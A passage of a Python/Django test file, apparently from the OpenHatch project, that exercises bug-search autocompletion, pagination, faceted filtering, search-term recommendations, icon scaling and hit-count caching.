Bug.all_bugs.create(project=self.project_chat, people_involved=2, date_reported=datetime.date(2009, 4, 1), last_touched=datetime.date(2009, 4, 2), last_polled=datetime.date(2009, 4, 2), submitter_realname="Zaphod Beeblebrox", submitter_username="zb", canonical_bug_link="http://example.com/", ) def testSuggestionsMinimallyWorks(self): suggestions = views.get_autocompletion_suggestions(u'') self.assert_("lang:Vogon" in suggestions) def testSuggestForAllFields(self): c_suggestions = views.get_autocompletion_suggestions(u'C') self.assert_(u'lang:C++' in c_suggestions) self.assert_(u'project:ComicChat' in c_suggestions) def testQueryNotFieldSpecificFindProject(self): c_suggestions = views.get_autocompletion_suggestions(u'Comi') self.assert_(u'project:ComicChat' in c_suggestions) def testQueryFieldSpecific(self): lang_C_suggestions = views.get_autocompletion_suggestions( u'lang:C') self.assert_(u'lang:C++' in lang_C_suggestions) self.assert_(u'lang:Python' not in lang_C_suggestions) self.assert_(u'project:ComicChat' not in lang_C_suggestions) def testSuggestsCorrectStringsFormattedForJQueryAutocompletePlugin(self): suggestions_list = views.get_autocompletion_suggestions(u'') suggestions_string = views.list_to_jquery_autocompletion_format( suggestions_list) suggestions_list_reconstructed = suggestions_string.split("\n") self.assert_("project:ComicChat" in suggestions_list_reconstructed) self.assert_("lang:Vogon" in suggestions_list_reconstructed) self.assert_("lang:C++" in suggestions_list_reconstructed) def testSuggestsSomethingOverHttp(self): response = self.client.get( u'/search/get_suggestions', {u'q': u'C'}) self.assertContains(response, "project:ComicChat\nlang:C++") def testSuggesterFailsOnEmptyString(self): response = self.client.get( u'/search/get_suggestions', {u'q': u''}) self.assertEquals(response.status_code, 500) def testSuggesterFailsWithImproperQueryString(self): response = self.client.get( u'/search/get_suggestions', {}) self.assertEquals(response.status_code, 500) class TestThatQueryTokenizesRespectingQuotationMarks(TwillTests): def test(self): difficult = "With spaces (and parens)" query = mysite.search.controllers.Query.create_from_GET_data({u'q': u'"%s"' % difficult}) self.assertEqual(query.terms, [difficult]) # Make there be a bug to find project = Project.create_dummy(name=difficult) Bug.create_dummy(project=project) # How many bugs? num_bugs = query.get_bugs_unordered().count() self.assertEqual(num_bugs, 1) class SearchResults(TwillTests): fixtures = [u'bugs-for-two-projects.json'] def test_query_object_is_false_when_no_terms_or_facets(self): query = mysite.search.controllers.Query.create_from_GET_data({}) self.assertFalse(query) def test_show_no_bugs_if_no_query(self): # Call up search page with no query. response = self.client.get(u'/search/') # The variable u'bunch_of_bugs', passed to the template, is a blank list. self.assertEqual(response.context[0][u'bunch_of_bugs'], []) def test_json_view(self): tc.go(make_twill_url(u'http://openhatch.org/search/?format=json&jsoncallback=callback&q=python')) response = tc.show() self.assert_(response.startswith(u'callback')) json_string_with_parens = response.split(u'callback', 1)[1] self.assert_(json_string_with_parens[0] == u'(') self.assert_(json_string_with_parens[-1] == u')') json_string = json_string_with_parens[1:-1] objects = simplejson.loads(json_string) self.assert_(u'pk' in objects[0][u'bugs'][0]) def testPagination(self): url = u'http://openhatch.org/search/' tc.go(make_twill_url(url)) tc.fv(u'search_opps', u'q', u'python') tc.submit() # Grab descriptions of first 10 Exaile bugs bugs = Bug.all_bugs.filter(project__name= u'Exaile').order_by(u'-last_touched')[:10] for bug in bugs: tc.find(bug.description) # Hit the next button tc.follow(u'Next') # Grab descriptions of next 10 Exaile bugs bugs = Bug.all_bugs.filter(project__name= u'Exaile').order_by(u'-last_touched')[10:20] for bug in bugs: tc.find(bug.description) def testPaginationAndChangingSearchQuery(self): url = u'http://openhatch.org/search/' tc.go(make_twill_url(url)) tc.fv(u'search_opps', u'q', u'python') tc.submit() # Grab descriptions of first 10 Exaile bugs bugs = Bug.all_bugs.filter(project__name= u'Exaile').order_by(u'-last_touched')[:10] for bug in bugs: tc.find(bug.description) # Hit the next button tc.follow(u'Next') # Grab descriptions of next 10 Exaile bugs bugs = Bug.all_bugs.filter(project__name= u'Exaile').order_by(u'-last_touched')[10:20] for bug in bugs: tc.find(bug.description) # Now, change the query - do we stay that paginated? tc.fv(u'search_opps', u'q', u'c#') tc.submit() # Grab descriptions of first 10 GNOME-Do bugs bugs = Bug.all_bugs.filter(project__name= u'GNOME-Do').order_by( u'-last_touched')[:10] for bug in bugs: tc.find(bug.description) class RecommendationsCanBeDisabled(SearchTest): fixtures = ['user-paulproteus.json', 'person-paulproteus.json', 'cchost-data-imported-from-ohloh.json', 'bugs-for-two-projects.json', 'extra-fake-cchost-related-citations.json'] def setUp(self, *args, **kwargs): super(RecommendationsCanBeDisabled, self).setUp(*args, **kwargs) self.old_recommend_bugs = django.conf.settings.RECOMMEND_BUGS django.conf.settings.RECOMMEND_BUGS = False def tearDown(self, *args, **kwargs): super(RecommendationsCanBeDisabled, self).tearDown(*args, **kwargs) django.conf.settings.RECOMMEND_BUGS = self.old_recommend_bugs @mock.patch('mysite.profile.models.Person._get_recommended_search_terms') def test(self, mock): # Create the Person object p = mysite.profile.models.Person.objects.get(user__username='paulproteus') # Call the method to get recommendations terms = p.get_recommended_search_terms() # Assert it is empty, but moreover, assert that the real worker function # was never called. self.assertFalse(terms) self.assertFalse(mock.called) class Recommend(SearchTest): fixtures = ['user-paulproteus.json', 'person-paulproteus.json', 'cchost-data-imported-from-ohloh.json', 'bugs-for-two-projects.json', 'extra-fake-cchost-related-citations.json', 'tags'] # FIXME: Add a 'recommend_these_in_bug_search' field to TagType # Use that to exclude 'will never understand' tags from recommended search terms. @skipIf(django.db.connection.vendor == 'sqlite', "Skipping because using sqlite database") @mock.patch('mysite.search.controllers.Query.get_or_create_cached_hit_count') def test_get_recommended_search_terms_for_user(self, mocked_hit_counter): # Make all the search terms appear to return results, so # that none are excluded when we try to trim away # the terms that don't return results. # We test this functionality separately in # search.tests.DontRecommendFutileSearchTerms. mocked_hit_counter.return_value = 1 person = Person.objects.get(user__username='paulproteus') recommended_terms = person.get_recommended_search_terms() # By 'source' I mean a source of recommendations. source2terms = { 'languages in citations': ['Automake', 'C#', 'C++', 'Make', 'Python', 'shell script', 'XUL'], 'projects in citations': ['Mozilla Firefox'], 'tags': ['algol', 'symbolist poetry', 'rails', 'chinese chess'] } for source, terms in source2terms.items(): for term in terms: self.assert_(term in recommended_terms, "Expected %s in recommended search terms " "inspired by %s." % (term, source)) # FIXME: Include recommendations from tags. @skipIf(django.db.connection.vendor == 'sqlite', "Skipping because using sqlite database") @mock.patch('mysite.search.controllers.Query.get_or_create_cached_hit_count') def test_search_page_context_includes_recommendations(self, mocked_hit_counter): # Make all the search terms appear to return results, so # that none are excluded when we try to trim away # the terms that don't return results. # We test this functionality separately in # search.tests.DontRecommendFutileSearchTerms. mocked_hit_counter.return_value = 1 client = self.login_with_client() response = client.get('/search/') source2terms = { 'languages in citations': ['Automake', 'C#', 'C++', 'Make', 'Python', 'shell script', 'XUL'], 'projects in citations': ['Mozilla Firefox'], 'tags': ['algol', 'symbolist poetry', 'rails', 'chinese chess'] } tags_in_template = [tup[1] for tup in response.context[0]['suggestions']] for source, terms in source2terms.items(): for term in terms: self.assert_(term in tags_in_template, "Expected %s in template" "inspired by %s." % (term, source)) expected_tags = sum(source2terms.values(), []) self.compare_lists(expected_tags, tags_in_template) # We're not doing this one because at the moment suggestions only work in JS. # def test_recommendations_with_twill(self): # self.login_with_twill() # tc.go(make_twill_url('http://openhatch.org/search/')) # tc.fv('suggested_searches', 'use_0', '0') # Automake # tc.fv('suggested_searches', 'use_1', '0') # C # tc.fv('suggested_searches', 'use_2', '0') # C++ # tc.fv('suggested_searches', 'use_3', '0') # Firefox # tc.fv('suggested_searches', 'use_4', '0') # Python # tc.fv('suggested_searches', 'use_5', '1') # XUL # tc.fv('suggested_searches', 'start', '0') # tc.fv('suggested_searches', 'end', '100') # tc.submit() # # # Check that if you click checkboxes, # # you get the right list of bugs. # # Test for bugs that ought to be there # # and bugs that ought not to be. # tc.find("Yo! This is a bug in XUL but not Firefox") # tc.find("Oy! This is a bug in XUL and Firefox") # # tc.fv('suggested_searches', 'use_0', '0') # Automake # tc.fv('suggested_searches', 'use_1', '0') # C # tc.fv('suggested_searches', 'use_2', '0') # C++ # tc.fv('suggested_searches', 'use_3', '1') # Firefox # tc.fv('suggested_searches', 'use_4', '0') # Python # tc.fv('suggested_searches', 'use_5', '1') # XUL # tc.fv('suggested_searches', 'start', '0') # tc.fv('suggested_searches', 'end', '100') # tc.submit() # # tc.notfind("Yo! This is a bug in XUL but not Firefox") # tc.find("Oy! This is a bug in XUL and Firefox") class SplitIntoTerms(TestCase): def test_split_into_terms(self): easy = '1 2 3' self.assertEqual( mysite.search.controllers.Query.split_into_terms(easy), ['1', '2', '3']) easy = '"1"' self.assertEqual( mysite.search.controllers.Query.split_into_terms(easy), ['1']) easy = 'c#' self.assertEqual( mysite.search.controllers.Query.split_into_terms(easy), ['c#']) class IconGetsScaled(SearchTest): @skipIf(not mysite.base.depends.Image, "Skipping this test. Install PIL to run it; see ADVANCED_INSTALLATION.mkd.") def test_project_scales_its_icon_down_for_use_in_badge(self): '''This test shows that the Project class successfully stores a scaled-down version of its icon in the icon_smaller_for_badge field.''' # Step 1: Create a project with an icon p = mysite.search.models.Project.create_dummy() image_data = open(mysite.account.tests.photo('static/sample-photo.png')).read() p.icon_raw.save('', ContentFile(image_data)) p.save() # Assertion 1: p.icon_smaller_for_badge is false (since not scaled yet) self.assertFalse(p.icon_smaller_for_badge) # Step 2: Call the scaling method p.update_scaled_icons_from_self_icon() p.save() # Assertion 2: Verify that it is now a true value self.assert_(p.icon_smaller_for_badge, "Expected p.icon_smaller_for_badge to be a true value.") # Assertion 3: Verify that it has the right width self.assertEqual(p.icon_smaller_for_badge.width, 40, "Expected p.icon_smaller_for_badge to be 40 pixels wide.") @skipIf(not mysite.base.depends.Image, "Skipping this test. Install PIL to run it; see ADVANCED_INSTALLATION.mkd.") def test_short_icon_is_scaled_correctly(self): '''Sometimes icons are rectangular and more wide than long. These icons shouldn't be trammeled into a square, but scaled respectfully of their original ratios.''' # Step 1: Create a project with an icon p = mysite.search.models.Project.create_dummy() # account.tests.photo finds the right path. image_data = open(mysite.account.tests.photo( 'static/images/icons/test-project-icon-64px-by-18px.png')).read() p.icon_raw.save('', ContentFile(image_data)) p.save() # Assertion 1: p.icon_smaller_for_badge is false (since not scaled yet) self.assertFalse(p.icon_smaller_for_badge) # Step 2: Call the scaling method p.update_scaled_icons_from_self_icon() p.save() # Assertion 2: Verify that it is now a true value self.assert_(p.icon_smaller_for_badge, "Expected p.icon_smaller_for_badge to be a true value.") # Assertion 3: Verify that it has the right width self.assertEqual(p.icon_smaller_for_badge.width, 40, "Expected p.icon_smaller_for_badge to be 40 pixels wide.") # Assertion 3: Verify that it has the right height # If we want to scale exactly we'll get 11.25 pixels, which rounds to 11. self.assertEqual(p.icon_smaller_for_badge.height, 11) class SearchOnFullWords(SearchTest): @skipIf(django.db.connection.vendor == 'sqlite', "Skipping because using sqlite database") def test_find_perl_not_properly(self): Project.create_dummy() Bug.create_dummy(description='properly') perl_bug = Bug.create_dummy(description='perl') self.assertEqual(Bug.all_bugs.all().count(), 2) results = mysite.search.controllers.Query( terms=['perl']).get_bugs_unordered() self.assertEqual(list(results), [perl_bug]) class SearchTemplateDecodesQueryString(SearchTest): def test_facets_appear_in_search_template_context(self): response = self.client.get('/search/', {'language': 'Python'}) expected_facets = { 'language': 'Python' } self.assertEqual(response.context['query'].active_facet_options, expected_facets) class FacetsFilterResults(SearchTest): def test_facets_filter_results(self): facets = {u'language': u'Python'} # Those facets should pick up this bug: python_project = Project.create_dummy(language='Python') python_bug = Bug.create_dummy(project=python_project) # But not this bug not_python_project = Project.create_dummy(language='Nohtyp') Bug.create_dummy(project=not_python_project) results = mysite.search.controllers.Query( terms=[], active_facet_options=facets).get_bugs_unordered() self.assertEqual(list(results), [python_bug]) class QueryGetPossibleFacets(SearchTest): """Ask a query, what facets are you going to show on the left? E.g., search for gtk, it says C (541).""" def test_get_possible_facets(self): # Create three projects project1 = Project.create_dummy(language=u'c') project2 = Project.create_dummy(language=u'd') project3 = Project.create_dummy(language=u'e') # Give each project a bug Bug.create_dummy(project=project1, description=u'bug', good_for_newcomers=True) Bug.create_dummy(project=project2, description=u'bug') Bug.create_dummy(project=project3, description=u'bAg') # Search for bugs matching "bug", while constraining to the language C query = mysite.search.controllers.Query( terms=[u'bug'], terms_string=u'bug', active_facet_options={u'language': u'c'}) possible_facets = dict(query.get_possible_facets()) self.assertEqual(query.get_bugs_unordered().count(), 1) # We expect that, language-wise, you should be able to select any of # the other languages, or 'deselect' your language constraint. self.compare_lists_of_dicts( possible_facets[u'language'][u'options'], [ { u'name': u'c', u'query_string': u'q=bug&language=c', u'is_active': True, u'count': 1 }, { u'name': u'd', u'query_string': u'q=bug&language=d', u'is_active': False, u'count': 1 }, # e is excluded because its bug (u'bAg') doesn't match the term 'bug' ], sort_key=u'name' ) self.compare_lists_of_dicts( possible_facets[u'toughness'][u'options'], [ # There's no 'any' option for toughness unless you've # selected a specific toughness value { u'name': u'bitesize', u'is_active': False, u'query_string': u'q=bug&toughness=bitesize&language=c', u'count': 1 }, ], sort_key=u'name' ) self.assertEqual( possible_facets['language']['the_any_option'], { u'name': u'any', u'query_string': u'q=bug&language=', u'is_active': False, u'count': 2 }, ) def test_possible_facets_always_includes_active_facet(self): # even when active facet has no results. c = Project.create_dummy(language=u'c') Project.create_dummy(language=u'd') Project.create_dummy(language=u'e') Bug.create_dummy(project=c, description=u'bug') query = mysite.search.controllers.Query.create_from_GET_data( {u'q': u'nothing matches this', u'language': u'c'}) language_options = dict(query.get_possible_facets())['language']['options'] language_options_named_c = [opt for opt in language_options if opt['name'] == 'c'] self.assertEqual(len(language_options_named_c), 1) class SingleTerm(SearchTest): """Search for just a single term.""" def setUp(self): SearchTest.setUp(self) python_project = Project.create_dummy(language='Python') perl_project = Project.create_dummy(language='Perl') c_project = Project.create_dummy(language='C') # bitesize, matching bug in Python Bug.create_dummy(project=python_project, good_for_newcomers=True, description='screensaver') # nonbitesize, matching bug in Python Bug.create_dummy(project=python_project, good_for_newcomers=False, description='screensaver') # nonbitesize, matching bug in Perl Bug.create_dummy(project=perl_project, good_for_newcomers=False, description='screensaver') # nonbitesize, nonmatching bug in C Bug.create_dummy(project=c_project, good_for_newcomers=False, description='toast') GET_data = { 'q': 'screensaver' } query = mysite.search.controllers.Query.create_from_GET_data(GET_data) self.assertEqual(query.terms, ['screensaver']) self.assertFalse(query.active_facet_options) # No facets self.output_possible_facets = dict(query.get_possible_facets()) def test_toughness_facet(self): # What options do we expect? toughness_option_bitesize = {'name': 'bitesize', 'count': 1, 'is_active': False, 'query_string': 'q=screensaver&toughness=bitesize'} toughness_option_any = {'name': 'any', 'count': 3, 'is_active': True, 'query_string': 'q=screensaver&toughness='} expected_toughness_facet_options = [toughness_option_bitesize] self.assertEqual( self.output_possible_facets['toughness']['options'], expected_toughness_facet_options ) self.assertEqual( self.output_possible_facets['toughness']['the_any_option'], toughness_option_any ) def test_languages_facet(self): # What options do we expect? languages_option_python = {'name': 'Python', 'count': 2, 'is_active': False, 'query_string': 'q=screensaver&language=Python'} languages_option_perl = {'name': 'Perl', 'count': 1, 'is_active': False, 'query_string': 'q=screensaver&language=Perl'} languages_option_any = {'name': 'any', 'count': 3, 'is_active': True, 'query_string': 'q=screensaver&language='} expected_languages_facet_options = [ languages_option_python, languages_option_perl, ] self.compare_lists_of_dicts( self.output_possible_facets['language']['options'], expected_languages_facet_options ) self.assertEqual( self.output_possible_facets['language']['the_any_option'], languages_option_any) class SingleFacetOption(SearchTest): """Browse bugs matching a single facet option.""" def setUp(self): SearchTest.setUp(self) python_project = Project.create_dummy(language='Python') perl_project = Project.create_dummy(language='Perl') c_project = Project.create_dummy(language='C') # bitesize, matching bug in Python Bug.create_dummy(project=python_project, good_for_newcomers=True, description='screensaver') # nonbitesize, matching bug in Python Bug.create_dummy(project=python_project, good_for_newcomers=False, description='screensaver') # nonbitesize, matching bug in Perl Bug.create_dummy(project=perl_project, good_for_newcomers=False, description='screensaver') # nonbitesize, nonmatching bug in C Bug.create_dummy(project=c_project, good_for_newcomers=False, description='toast') GET_data = { u'language': u'Python' } query = mysite.search.controllers.Query.create_from_GET_data(GET_data) self.assertFalse(query.terms) # No terms self.assertEqual(query.active_facet_options, {u'language': u'Python'}) self.output_possible_facets = dict(query.get_possible_facets()) def test_toughness_facet(self): # What options do we expect? toughness_option_bitesize = {u'name': u'bitesize', u'count': 1, u'is_active': False, u'query_string': u'q=&toughness=bitesize&language=Python'} toughness_option_any = {u'name': u'any', u'count': 2, u'is_active': True, u'query_string': u'q=&toughness=&language=Python'} expected_toughness_facet_options = [toughness_option_bitesize] self.compare_lists_of_dicts( self.output_possible_facets[u'toughness'][u'options'], expected_toughness_facet_options ) self.assertEqual( self.output_possible_facets[u'toughness'][u'the_any_option'], toughness_option_any ) def test_languages_facet(self): # What options do we expect? languages_option_python = {u'name': u'Python', u'count': 2, u'is_active': True, u'query_string': u'q=&language=Python'} languages_option_perl = {u'name': u'Perl', u'count': 1, u'is_active': False, u'query_string': u'q=&language=Perl'} languages_option_c = {u'name': u'C', u'count': 1, u'is_active': False, u'query_string': u'q=&language=C'} languages_option_any = {u'name': u'any', u'count': 4, u'is_active': False, u'query_string': u'q=&language='} expected_languages_facet_options = [ languages_option_python, languages_option_perl, languages_option_c, ] self.compare_lists_of_dicts( self.output_possible_facets[u'language'][u'options'], expected_languages_facet_options ) self.assertEqual( self.output_possible_facets[u'language'][u'the_any_option'], languages_option_any, ) class QueryGetToughnessFacetOptions(SearchTest): def test_get_toughness_facet_options(self): # We create three "bitesize" bugs, but constrain the Query so # that we're only looking at bugs in Python. # Since only two of the bitesize bugs are in Python (one is # in a project whose language is Perl), we expect only 1 bitesize # bug to show up, and 2 total bugs. python_project = Project.create_dummy(language=u'Python') perl_project = Project.create_dummy(language=u'Perl') Bug.create_dummy(project=python_project, good_for_newcomers=True) Bug.create_dummy(project=python_project, good_for_newcomers=False) Bug.create_dummy(project=perl_project, good_for_newcomers=True) query = mysite.search.controllers.Query( active_facet_options={u'language': u'Python'}, terms_string=u'') output = query.get_facet_options(u'toughness', [u'bitesize', u'']) bitesize_dict = [d for d in output if d[u'name'] == u'bitesize'][0] all_dict = [d for d in output if d[u'name'] == u'any'][0] self.assertEqual(bitesize_dict[u'count'], 1) self.assertEqual(all_dict[u'count'], 2) @skipIf(django.db.connection.vendor == 'sqlite', "Skipping because using sqlite database") def test_get_toughness_facet_options_with_terms(self): python_project = Project.create_dummy(language=u'Python') perl_project = Project.create_dummy(language=u'Perl') Bug.create_dummy(project=python_project, good_for_newcomers=True, description=u'a') Bug.create_dummy(project=python_project, good_for_newcomers=False, description=u'a') Bug.create_dummy(project=perl_project, good_for_newcomers=True, description=u'b') GET_data = {u'q': u'a'} query = mysite.search.controllers.Query.create_from_GET_data(GET_data) output = query.get_facet_options(u'toughness', [u'bitesize', u'']) bitesize_dict = [d for d in output if d[u'name'] == u'bitesize'][0] all_dict = [d for d in output if d[u'name'] == u'any'][0] self.assertEqual(bitesize_dict[u'count'], 1) self.assertEqual(all_dict[u'count'], 2) class QueryGetPossibleLanguageFacetOptionNames(SearchTest): @mock.patch('mysite.search.tasks.PopulateProjectLanguageFromOhloh') def setUp(self, do_nothing): SearchTest.setUp(self) python_project = Project.create_dummy(language=u'Python') perl_project = Project.create_dummy(language=u'Perl') c_project = Project.create_dummy(language=u'C') unknown_project = Project.create_dummy(language=u'') Bug.create_dummy(project=python_project, title=u'a') Bug.create_dummy(project=perl_project, title=u'a') Bug.create_dummy(project=c_project, title=u'b') Bug.create_dummy(project=unknown_project, title=u'unknowable') @skipIf(django.db.connection.vendor == 'sqlite', "Skipping because using sqlite database") def test_with_term(self): # In the setUp we create three bugs, but only two of them would match # a search for 'a'. They are in two different languages, so let's make # sure that we show only those two languages. GET_data = {u'q': u'a'} query = mysite.search.controllers.Query.create_from_GET_data(GET_data) language_names = query.get_language_names() self.assertEqual( sorted(language_names), sorted([u'Python', u'Perl'])) def test_with_active_language_facet(self): # In the setUp we create bugs in three languages. # Here, we verify that the get_language_names() method correctly returns # all three languages, even though the GET data shows that we are # browsing by language. GET_data = {u'language': u'Python'} query = mysite.search.controllers.Query.create_from_GET_data(GET_data) language_names = query.get_language_names() self.assertEqual( sorted(language_names), sorted([u'Python', u'Perl', u'C', u'Unknown'])) def test_with_language_as_unknown(self): # In the setUp we create bugs in three languages. # Here, we verify that the get_language_names() method correctly returns # all three languages, even though the GET data shows that we are # browsing by language. GET_data = {u'language': u'Unknown'} query = mysite.search.controllers.Query.create_from_GET_data(GET_data) language_names = query.get_language_names() self.assertEqual( sorted(language_names), sorted([u'Python', u'Perl', u'C', u'Unknown'])) def test_with_language_as_unknown_and_query(self): # In the setUp we create bugs in three languages. # Here, we verify that the get_language_names() method correctly returns # all three languages, even though the GET data shows that we are # browsing by language. GET_data = {u'language': u'Unknown', u'q': u'unknowable'} query = mysite.search.controllers.Query.create_from_GET_data(GET_data) match_count = query.get_bugs_unordered().count() self.assertEqual(match_count, 1) class QueryGetPossibleProjectFacetOptions(SearchTest): @mock.patch('mysite.search.tasks.PopulateProjectLanguageFromOhloh') def setUp(self, do_nothing): SearchTest.setUp(self) projects = [ Project.create_dummy(name=u'Miro'), Project.create_dummy(name=u'Dali'), Project.create_dummy(name=u'Magritte') ] for p in projects: Bug.create_dummy(project=p) def test_select_a_project_and_see_other_project_options(self): GET_data = {u'project': u'Miro'} query = mysite.search.controllers.Query.create_from_GET_data(GET_data) possible_project_names = [x['name'] for x in dict(query.get_possible_facets())['project']['options']] self.assertEqual( sorted(possible_project_names), sorted(list(Project.objects.values_list('name', flat=True)))) class QueryContributionType(SearchTest): def setUp(self): SearchTest.setUp(self) python_project = Project.create_dummy(language=u'Python') perl_project = Project.create_dummy(language=u'Perl') c_project = Project.create_dummy(language=u'C') Bug.create_dummy(project=python_project, title=u'a') Bug.create_dummy(project=perl_project, title=u'a', concerns_just_documentation=True) Bug.create_dummy(project=c_project, title=u'b') def test_contribution_type_is_an_available_facet(self): GET_data = {} starting_query = mysite.search.controllers.Query.create_from_GET_data( GET_data) self.assert_(u'contribution type' in dict(starting_query.get_possible_facets())) def test_contribution_type_options_are_reasonable(self): GET_data = {} starting_query = mysite.search.controllers.Query.create_from_GET_data( GET_data) cto = starting_query.get_facet_options(u'contribution_type', [u'documentation']) documentation_one, = [k for k in cto if k[u'name'] == u'documentation'] any_one = starting_query.get_facet_options(u'contribution_type', [u''])[0] self.assertEqual(documentation_one[u'count'], 1) self.assertEqual(any_one[u'count'], 3) class QueryProject(SearchTest): def setUp(self): SearchTest.setUp(self) python_project = Project.create_dummy(language=u'Python', name='thingamajig') c_project = Project.create_dummy(language=u'C', name='thingamabob') Bug.create_dummy(project=python_project, title=u'a') Bug.create_dummy(project=python_project, title=u'a', concerns_just_documentation=True) Bug.create_dummy(project=c_project, title=u'b') def test_project_is_an_available_facet(self): GET_data = {} starting_query = mysite.search.controllers.Query.create_from_GET_data( GET_data) self.assert_(u'project' in dict(starting_query.get_possible_facets())) def test_contribution_type_options_are_reasonable(self): GET_data = {} starting_query = mysite.search.controllers.Query.create_from_GET_data( GET_data) cto = starting_query.get_facet_options(u'project', [u'thingamajig', u'thingamabob' ]) jig_ones, = [k for k in cto if k[u'name'] == u'thingamajig'] any_one = starting_query.get_facet_options(u'project', [u''])[0] self.assertEqual(jig_ones[u'count'], 2) self.assertEqual(any_one[u'count'], 3) class QueryStringCaseInsensitive(SearchTest): def test_Language(self): """Do we redirect queries that use non-lowercase facet keys to pages that use lowercase facet keys?""" redirects = self.client.get(u'/search/', {u'LANguaGE': u'pytHon'}, follow=True).redirect_chain self.assertEqual(redirects, [(u'http://testserver/search/?language=pytHon', 302)]) class HashQueryData(SearchTest): def test_queries_with_identical_data_hash_alike(self): GET_data = {u'q': u'socialguides', u'language': u'looxii'} one = mysite.search.controllers.Query.create_from_GET_data(GET_data) two = mysite.search.controllers.Query.create_from_GET_data(GET_data) self.assertEqual(one.get_sha1(), two.get_sha1()) def test_queries_with_equiv_data_expressed_differently_hash_alike(self): GET_data_1 = {u'q': u'socialguides zetapage', u'language': u'looxii'} GET_data_2 = {u'q': u'zetapage socialguides', u'language': u'looxii'} one = mysite.search.controllers.Query.create_from_GET_data(GET_data_1) two = mysite.search.controllers.Query.create_from_GET_data(GET_data_2) self.assertEqual(one.get_sha1(), two.get_sha1()) def test_queries_with_different_data_hash_differently(self): GET_data_1 = {u'q': u'socialguides zetapage', u'language': u'looxii'} GET_data_2 = {u'q': u'socialguides ninjapost', u'language': u'looxii'} one = mysite.search.controllers.Query.create_from_GET_data(GET_data_1) two = mysite.search.controllers.Query.create_from_GET_data(GET_data_2) self.assertNotEqual(one.get_sha1(), two.get_sha1()) # How on earth do we test for collisions? class FakeCache(object): def __init__(self): self._data = {} def get(self, key): return self._data.get(key, None) def set(self, key, value): self._data[key] = value class QueryGrabHitCount(SearchTest): @mock.patch('django.core.cache') def test_eventhive_grab_hitcount_once_stored(self, fake_cache): fake_cache.cache = FakeCache() data = {u'q': u'eventhive', u'language': u'shoutNOW'} query = mysite.search.controllers.Query.create_from_GET_data(data) stored_hit_count = 10 # Get the cache key used to store the hit count. hit_count_cache_key = query.get_hit_count_cache_key() # Set the cache value. django.core.cache.cache.set(hit_count_cache_key, stored_hit_count) # Test that it is fetched correctly. self.assertEqual(stored_hit_count, django.core.cache.cache.get(hit_count_cache_key)) self.assertEqual(query.get_or_create_cached_hit_count(), stored_hit_count) @mock.patch('django.core.cache') def test_shoutnow_cache_hitcount_on_grab(self, fake_cache): fake_cache.cache = FakeCache() project = Project.create_dummy(language=u'shoutNOW') Bug.create_dummy(project=project) data = {u'language': u'shoutNOW'} query = mysite.search.controllers.Query.create_from_GET_data(data) expected_hit_count = 1 self.assertEqual(query.get_or_create_cached_hit_count(), expected_hit_count) # Get the cache key used to store the hit count. hit_count_cache_key = query.get_hit_count_cache_key() # Get the cache value. stored_hit_count = django.core.cache.cache.get(hit_count_cache_key) print "Stored: %s" % stored_hit_count # Test that it was stored correctly. self.assertEqual(stored_hit_count, expected_hit_count) class ClearCacheWhenBugsChange(SearchTest): def test_cached_cleared_after_bug_save_or_delete(self): data = {u'language': u'shoutNOW'} query = mysite.search.controllers.Query.create_from_GET_data(data) old_hcc_timestamp = mysite.base.models.Timestamp.get_timestamp_for_string( 'hit_count_cache_timestamp') # Cache entry created after hit count retrieval query.get_or_create_cached_hit_count() new_hcc_timestamp = mysite.base.models.Timestamp.get_timestamp_for_string( 'hit_count_cache_timestamp') self.assertEqual(old_hcc_timestamp, new_hcc_timestamp) # Cache cleared after bug save project = Project.create_dummy(language=u'shoutNOW') bug = Bug.create_dummy(project=project) newer_hcc_timestamp = mysite.base.models.Timestamp.get_timestamp_for_string( 'hit_count_cache_timestamp') self.assertNotEqual(new_hcc_timestamp, newer_hcc_timestamp) # Cache entry created after hit count retrieval query.get_or_create_cached_hit_count() newest_hcc_timestamp = mysite.base.models.Timestamp.get_timestamp_for_string( 'hit_count_cache_timestamp') self.assertEqual(newer_hcc_timestamp, newest_hcc_timestamp) # Cache cleared after bug deletion bug.delete() newester_hcc_timestamp = mysite.base.models.Timestamp.get_timestamp_for_string( 'hit_count_cache_timestamp'), self.assertNotEqual(newest_hcc_timestamp, newester_hcc_timestamp) class DontRecommendFutileSearchTerms(TwillTests): def test_removal_of_futile_terms(self): mysite.search.models.Bug.create_dummy_with_project(description=u'useful') self.assertEqual( Person.only_terms_with_results([u'useful', u'futile']), [u'useful']) class PublicizeBugTrackerIndex(SearchTest): def setUp(self): SearchTest.setUp(self) self.search_page_response = self.client.get(reverse(mysite.search.views.fetch_bugs)) self.bug_tracker_count = mysite.search.controllers.get_project_count() def test_search_template_contains_bug_tracker_count(self): self.assertEqual( self.search_page_response.context[0][u'project_count'], self.bug_tracker_count) class TestPotentialMentors(TwillTests): fixtures = ['user-paulproteus', 'user-barry', 'person-barry', 'person-paulproteus'] def test(self): '''Create a Banshee mentor who can do C# and a separate C# mentor, and verify that Banshee thinks it has two potential mentors.''' banshee = Project.create_dummy(name='Banshee', language='C#') can_mentor, _ = mysite.profile.models.TagType.objects.get_or_create(name=u'can_mentor') willing_to_mentor_banshee, _ = mysite.profile.models.Tag.objects.get_or_create( tag_type=can_mentor, text=u'Banshee') willing_to_mentor_c_sharp, _ = mysite.profile.models.Tag.objects.get_or_create( tag_type=can_mentor, text=u'C#') link = mysite.profile.models.Link_Person_Tag( person=Person.objects.get(user__username=u'paulproteus'), tag=willing_to_mentor_banshee) link.save() link = mysite.profile.models.Link_Person_Tag( person=Person.objects.get(user__username=u'paulproteus'), tag=willing_to_mentor_c_sharp) link.save() link = mysite.profile.models.Link_Person_Tag( person=Person.objects.get(user__username=u'barry'), tag=willing_to_mentor_c_sharp) link.save() banshee_mentor_count = banshee.potential_mentor_count self.assertEqual(2, banshee_mentor_count) class SuggestAlertOnLastResultsPage(TwillTests): fixtures = ['user-paulproteus'] def exercise_alert(self, anonymous=True): """The 'anonymous' parameter allows the alert functionality to be tested for anonymous and logged-in users.""" if not anonymous: self.login_with_twill() # Create some dummy data p = Project.create_dummy(language='ruby') # 15 bugs matching 'ruby' for i in range(15): b = Bug.create_dummy(description='ruby') b.project = p b.save() # Visit the first page of a vol. opp. search results page. opps_view = mysite.search.views.fetch_bugs query = u'ruby' opps_query_string = { u'q': query, u'start': 1, u'end': 10} opps_url = make_twill_url('http://openhatch.org'+reverse(opps_view) + '?' + mysite.base.unicode_sanity.urlencode(opps_query_string)) tc.go(opps_url) # Make sure we *don't* have the comment that flags this as a page that offers an email alert subscription button tc.notfind("this page should offer a link to sign up for an email alert") # Visit the last page of results GET = { u'q': query, 